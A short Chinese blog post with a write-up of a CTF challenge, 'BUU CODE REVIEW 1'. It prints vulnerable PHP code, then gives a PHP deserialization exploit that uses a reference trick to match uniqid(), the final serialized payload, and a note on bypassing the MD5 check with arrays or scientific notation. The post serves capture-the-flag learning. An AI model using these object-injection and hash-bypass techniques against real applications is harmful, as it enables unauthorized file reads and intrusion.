BUU CODE REVIEW 1

BUU CODE REVIEW 1

BUU CODE REVIEW 1

php 代码审计

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

BUU 类的析构函数中给出了 flag,因此尝试获取它的值。

<?php 
class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

$a=new BUU();
$a->input=&$a->correct;
echo serialize($a);

因为 uniqid() 函数基于当前时间返回值,因此取 correct 的地址确保 input 恒等于 correct

注意到进行了反序列化,因此在这部分中回显序列化后的值。

下面这部分用 bp 抓包,进行一个 md5 绕过。科学计数法绕过和数组绕过等均可。用 Repeater 重新上传添加了参数的请求包即可。

其中 obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

posted @ 2024-11-14 22:59  Maplisky  阅读(8)  评论(0编辑  收藏  举报